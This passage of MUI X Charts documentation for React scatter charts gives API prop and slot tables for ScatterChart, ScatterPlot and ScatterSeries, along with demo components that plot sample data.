| zoomInIcon | `ChartsZoomInIcon` | - | Icon displayed on the toolbar's zoom in button. |
| zoomOutIcon | `ChartsZoomOutIcon` | - | Icon displayed on the toolbar's zoom out button. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-pro/src/ScatterChartPro/ScatterChartPro.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-pro/src/ScatterChartPro/ScatterChartPro.tsx)

---

# Source: https://mui.com/x/api/charts/scatter-chart.md

# ScatterChart API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Label](/x/react-charts/label/)
- [Charts - Scatter](/x/react-charts/scatter/)
- [Charts - Scatter demos](/x/react-charts/scatter-demo/)

## Import

```jsx
import { ScatterChart } from '@mui/x-charts/ScatterChart';
// or
import { ScatterChart } from '@mui/x-charts';
// or
import { ScatterChart } from '@mui/x-charts-pro';
// or
import { ScatterChart } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| series | `Array<object>` | - | Yes |  |
| axisHighlight | `{ x?: 'band' \| 'line' \| 'none', y?: 'band' \| 'line' \| 'none' }` | `{ x: 'none', y: 'none' }` | No |  |
| brushConfig | `{ enabled?: bool, preventHighlight?: bool, preventTooltip?: bool }` | - | No |  |
| colors | `Array<string> \| func` | `rainbowSurgePalette` | No |  |
| dataset | `Array<object>` | - | No |  |
| disableAxisListener | `bool` | `false` | No |  |
| disableVoronoi | `bool` | `false` | No |  |
| grid | `{ horizontal?: bool, vertical?: bool }` | - | No |  |
| height | `number` | - | No |  |
| hiddenItems | `Array<{ dataIndex?: number, seriesId?: number \| string, type: 'scatter' }>` | - | No |  |
| hideLegend | `bool` | - | No |  |
| highlightedItem | `{ dataIndex?: number, seriesId: number \| string }` | - | No |  |
| id | `string` | - | No |  |
| initialHiddenItems | `Array<{ dataIndex?: number, seriesId?: number \| string, type: 'scatter' }>` | - | No |  |
| loading | `bool` | `false` | No |  |
| localeText | `object` | - | No |  |
| margin | `number \| { bottom?: number, left?: number, right?: number, top?: number }` | - | No |  |
| onAxisClick | `function(event: MouseEvent, data: null \| ChartsAxisData) => void` | - | No |  |
| onHiddenItemsChange | `function(hiddenItems: Array<VisibilityIdentifier>) => void` | - | No |  |
| onHighlightChange | `function(highlightedItem: HighlightItemData \| null) => void` | - | No |  |
| onItemClick | `function(event: MouseEvent, scatterItemIdentifier: ScatterItemIdentifier) => void` | - | No |  |
| onTooltipItemChange | `function(tooltipItem: SeriesItemIdentifier<TSeries> \| null) => void` | - | No |  |
| renderer | `'svg-batch' \| 'svg-single'` | `'svg-single'` | No |  |
| showToolbar | `bool` | `false` | No |  |
| skipAnimation | `bool` | - | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| tooltipItem | `{ dataIndex: number, seriesId: number \| string, type: 'scatter' }` | - | No |  |
| voronoiMaxRadius | `'item' \| number` | - | No |  |
| width | `number` | - | No |  |
| xAxis | `Array<{ axis?: 'x', barGapRatio?: number, categoryGapRatio?: number, classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'band', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'point', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'log', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, constant?: number, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'symlog', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'pow', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'sqrt', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'time', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'utc', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func } \| { axis?: 'x', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, height?: number, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'bottom' \| 'none' \| 'top', reverse?: bool, scaleType?: 'linear', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelMinGap?: number, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func }>` | - | No |  |
| yAxis | `Array<{ axis?: 'y', barGapRatio?: number, categoryGapRatio?: number, classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'band', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, groups?: Array<{ getValue: func, tickLabelStyle?: object, tickSize?: number }>, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, offset?: number, ordinalTimeTicks?: Array<'biweekly' \| 'days' \| 'hours' \| 'months' \| 'quarterly' \| 'weeks' \| 'years' \| { format: func, getTickNumber: func, isTick: func }>, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'point', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'log', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, constant?: number, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'symlog', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'pow', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'sqrt', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'time', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number \| { valueOf: func }, min?: number \| { valueOf: func }, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'utc', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number } \| { axis?: 'y', classes?: object, colorMap?: { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, disableLine?: bool, disableTicks?: bool, domainLimit?: 'nice' \| 'strict' \| func, hideTooltip?: bool, id?: number \| string, ignoreTooltip?: bool, label?: string, labelStyle?: object, max?: number, min?: number, offset?: number, position?: 'left' \| 'none' \| 'right', reverse?: bool, scaleType?: 'linear', slotProps?: object, slots?: object, sx?: Array<func \| object \| bool> \| func \| object, tickInterval?: 'auto' \| array \| func, tickLabelInterval?: 'auto' \| func, tickLabelPlacement?: 'middle' \| 'tick', tickLabelStyle?: object, tickMaxStep?: number, tickMinStep?: number, tickNumber?: number, tickPlacement?: 'end' \| 'extremities' \| 'middle' \| 'start', tickSize?: number, tickSpacing?: number, valueFormatter?: func, width?: number }>` | - | No |  |
| zAxis | `Array<{ colorMap?: { colors: Array<string>, type: 'ordinal', unknownColor?: string, values?: Array<Date \| number \| string> } \| { color: Array<string> \| func, max?: Date \| number, min?: Date \| number, type: 'continuous' } \| { colors: Array<string>, thresholds: Array<Date \| number>, type: 'piecewise' }, data?: array, dataKey?: string, id?: string, max?: number, min?: number }>` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (SVGSVGElement).

> Any other props supplied will be provided to the root element (native element).

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| axisLabel | `ChartsText` | - | Custom component for axis label. |
| axisLine | `'line'` | - | Custom component for the axis main line. |
| axisTick | `'line'` | - | Custom component for the axis tick. |
| axisTickLabel | `ChartsText` | - | Custom component for tick label. |
| baseButton | `undefined` | - |  |
| baseIconButton | `undefined` | - |  |
| legend | `ChartsLegend` | - | Custom rendering of the legend. |
| loadingOverlay | `ChartsLoadingOverlay` | - | Overlay component rendered when the chart is in a loading state. |
| marker | `ScatterMarker` | - | The component that renders the marker for a scatter point. |
| noDataOverlay | `ChartsNoDataOverlay` | - | Overlay component rendered when the chart has no data to display. |
| scatter | `undefined` | - |  |
| toolbar | `ChartsToolbar` | - | Custom component for the toolbar. |
| tooltip | `ChartsTooltipRoot` | - | Custom component for the tooltip popper. |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/ScatterChart/ScatterChart.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/ScatterChart/ScatterChart.tsx)

---

# Source: https://mui.com/x/react-charts/scatter-demo.md

---
title: Charts - Scatter demos
productId: x-charts
components: Scatter, ScatterChart, ScatterPlot
---

# Charts - Scatter demos

This page groups demos using scatter charts.

## SimpleScatterChart

```tsx
import { ScatterChart } from '@mui/x-charts/ScatterChart';
import Box from '@mui/material/Box';

const data = [
  { x: 100, y: 200, id: 1 },
  { x: 120, y: 100, id: 2 },
  { x: 170, y: 300, id: 3 },
  { x: 140, y: 250, id: 4 },
  { x: 150, y: 400, id: 5 },
  { x: 110, y: 280, id: 6 },
];

export default function SimpleScatterChart() {
  return (
    <Box sx={{ width: '100%', height: 300 }}>
      <ScatterChart
        series={[{ data, label: 'pv', id: 'pvId' }]}
        xAxis={[{ min: 0, height: 28 }]}
      />
    </Box>
  );
}

```

## MultipleYAxesScatterChart

```tsx
import { ScatterChart } from '@mui/x-charts/ScatterChart';
import { axisClasses } from '@mui/x-charts/ChartsAxis';
import Box from '@mui/material/Box';

const data1 = [
  { x: 100, y: 200, id: 1 },
  { x: 120, y: 100, id: 2 },
  { x: 170, y: 300, id: 3 },
  { x: 140, y: 250, id: 4 },
  { x: 150, y: 400, id: 5 },
  { x: 110, y: 280, id: 6 },
];
const data2 = [
  { x: 300, y: 300, id: 1 },
  { x: 400, y: 500, id: 2 },
  { x: 200, y: 700, id: 3 },
  { x: 340, y: 350, id: 4 },
  { x: 560, y: 500, id: 5 },
  { x: 230, y: 780, id: 6 },
  { x: 500, y: 400, id: 7 },
  { x: 300, y: 500, id: 8 },
  { x: 240, y: 300, id: 9 },
  { x: 320, y: 550, id: 10 },
  { x: 500, y: 400, id: 11 },
  { x: 420, y: 280, id: 12 },
];

export default function MultipleYAxesScatterChart() {
  return (
    <Box sx={{ width: '100%', height: 300 }}>
      <ScatterChart
        series={[
          {
            data: data1,
            yAxisId: 'leftAxis',
            valueFormatter: (value) => value && `${value.x}cm, ${value.y}kg`,
          },
          {
            data: data2,
            yAxisId: 'rightAxis',
            valueFormatter: (value) => value && `${value.x}cm, ${value.y}kg`,
          },
        ]}
        xAxis={[{ min: 0, height: 28 }]}
        yAxis={[
          { id: 'leftAxis', min: 0 },
          { id: 'rightAxis', min: 0, position: 'right' },
        ]}
        sx={{
          [`& .${axisClasses.left}`]: {
            line: { stroke: '#8884d8' },
            text: { fill: '#8884d8' },
          },
          [`& .${axisClasses.right}`]: {
            line: { stroke: '#82ca9d' },
            text: { fill: '#82ca9d' },
          },
        }}
      />
    </Box>
  );
}

```

---

# Source: https://mui.com/x/api/charts/scatter-plot.md

# ScatterPlot API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [Charts - Scatter](/x/react-charts/scatter/)
- [Charts - Scatter demos](/x/react-charts/scatter-demo/)

## Import

```jsx
import { ScatterPlot } from '@mui/x-charts/ScatterChart';
// or
import { ScatterPlot } from '@mui/x-charts';
// or
import { ScatterPlot } from '@mui/x-charts-pro';
// or
import { ScatterPlot } from '@mui/x-charts-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| onItemClick | `function(event: MouseEvent, scatterItemIdentifier: ScatterItemIdentifier) => void` | - | No |  |
| renderer | `'svg-batch' \| 'svg-single'` | `'svg-single'` | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| marker | `ScatterMarker` | - | The component that renders the marker for a scatter point. |
| scatter | `undefined` | - |  |

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts/src/ScatterChart/ScatterPlot.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts/src/ScatterChart/ScatterPlot.tsx)

---

# Source: https://mui.com/x/api/charts/scatter-series.md

# ScatterSeries API

## Import

```jsx
import { ScatterSeries } from '@mui/x-charts-premium'
// or
import { ScatterSeries } from '@mui/x-charts-pro'
// or
import { ScatterSeries } from '@mui/x-charts'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| type | `'scatter'` | - | Yes |  |
| color | `string` | - | No |  |
| colorGetter | `(data: ColorCallbackValue<TValue>) => string` | - | No |  |
| data | `readonly ScatterValueType[]` | - | No |  |
| datasetKeys | `{ /** * The key used to retrieve data from the dataset for the X axis. */ x: string /** * The key used to retrieve data from the dataset for the Y axis. */ y: string /** * The key used to retrieve data from the dataset for the Z axis. */ z?: string /** * The key used to retrieve data from the dataset for the id. */ id?: string }` | - | No |  |
| disableHover | `boolean` | `false` | No |  |
| highlightScope | `HighlightScope` | - | No |  |
| id | `SeriesId` | - | No |  |
| label | `string \| ((location: 'tooltip' \| 'legend') => string)` | - | No |  |
| labelMarkType | `ChartsLabelMarkType` | - | No |  |
| markerSize | `number` | - | No |  |
| preview | `{ /** * The size of the preview marker in pixels. * @default 1 */ markerSize?: number }` | - | No |  |
| valueFormatter | `SeriesValueFormatter<TValue>` | - | No |  |
| xAxisId | `AxisId` | - | No |  |
| yAxisId | `AxisId` | - | No |  |
| zAxisId | `string` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/api/charts/scatter.md

# Source: https://mui.com/x/react-charts/scatter.md

---
title: React Scatter chart
productId: x-charts
components: ScatterChart, ScatterChartPro, ScatterPlot, ChartsGrid, ChartsWrapper
---

# Charts - Scatter

Scatter charts express the relation between two variables, using points in a surface.

## Overview

Scatter charts are ideal for visualizing relationships or correlations as they show how one variable changes relative to another, identifying clusters, trends, and outliers in datasets.
Each point represents an individual data observation, positioned by its values on the two axes, often revealing patterns.
Scatter charts are commonly used for statistical analysis, scientific data, and performance metrics.
```tsx
import { ScatterChart, ScatterSeries } from '@mui/x-charts/ScatterChart';
import { ChartsTooltipContainer, useItemTooltip } from '@mui/x-charts/ChartsTooltip';
import { styled } from '@mui/material/styles';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import Divider from '@mui/material/Divider';
import Stack from '@mui/material/Stack';
import data from '../dataset/transistorCPUdata';

const chartSetting = {
  yAxis: [{ width: 50, scaleType: 'log' as const }],
  xAxis: [{ valueFormatter: (v: number | null) => (v ? v.toString() : '') }],
};

const constructors = ['Intel', 'Apple', 'AMD'];

const series = [
  {
    type: 'scatter',
    label: 'Other',
    highlightScope: { highlight: 'series', fade: 'global' },
    markerSize: 3,
    data: data
      .filter(
        (item) => !constructors.includes(item.constructor) && item.density !== null,
      )
      .map((item) => ({ x: item.year, y: item.density as number, id: item.id })),
  },
  ...constructors.map(
    (constructor): ScatterSeries => ({
      label: constructor,
      highlightScope: { highlight: 'series', fade: 'global' },
      markerSize: 3,
      data: data
        .filter((item) => item.constructor === constructor && item.density !== null)
        .map((item) => ({ x: item.year, y: item.density as number, id: item.id })),
    }),
  ),
] satisfies ScatterSeries[];

